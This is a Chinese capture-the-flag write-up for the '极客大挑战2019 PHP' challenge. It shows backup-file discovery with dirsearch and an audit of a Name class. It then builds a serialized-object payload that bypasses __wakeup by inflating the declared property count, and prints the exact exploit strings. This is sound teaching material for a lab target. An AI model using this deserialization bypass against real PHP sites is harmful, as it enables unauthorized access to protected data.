[极客大挑战2019]PHP

提示自己有备份网站,直接dirsearch扫,有个flag.php

这个flag.php没内容,一看就是假的.

www.zip直接访问下载

可以看到这个网站的文件

打开flag.php,内容如下

d1be8b8a21b7873d241e2bb4b546aa59

一眼假,我们再看index.php和class.php

aef8f40f13701eba60a89329d412eec1

f4303373b72d7b93c4e6474223a20277

进行一个代码审计!

index文件

1
include 'class.php';

会将 class.php 文件的内容包含进来,并在当前文件中执行。,相当于两个文件中的代码属于一体的.

class文件

Name 类,包含私有属性 $username$password,以及三个方法:

  • __construct(): 构造函数
  • __wakeup(): 反序列化时调用
  • __destruct(): 析构函数

明显是反序列化的问题,解决此问题需要满足几个条件

  1. 有unserialize()
  2. 反序列化函数参数可控
  3. 存在可利用的魔术方法,尤其注意wakeup.destruct
  4. 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
  5. 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击

解题思路

首先找可利用的魔术方法,看到__destruct(),在对象销毁时自动调用.并且这个魔术方法中出现了关键判断语句,通过判断username和password来给出flag.

但是在调用destruct之前发现了__wakeup函数,执行unserialize()时,先会调用这个函数,而它会把我们的username更改.自然的,尝试绕过wakeup

网上可以搜到很多绕过wakeup的方法,我们这里尝试PHP 5.6.30 之前的版本中存在一个漏洞,通过修改序列化字符串中的对象属性数量来绕过 __wakeup。

构造payload

①正常构造,选取我们需要的类和属性,并用var_dump输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

错误示例:更改默认值没意义,因为构造函数会把默认值覆盖

1
2
3
4
5
6
7
8
9
10
class Name{
private $username = 'admin';
private $password = '100';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

}

②更改属性个数来绕过wakeup

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

③注意变量的声明是public private protect,这三种声明序列化会产生不同的字符串

注意到声明是private,所以应该更改参数,私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag

755f2bdb36265da74d4275d10054ab94

参考博客

PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园

[BUUCTF-极客大挑战 2019]PHP 1 - junlebao - 博客园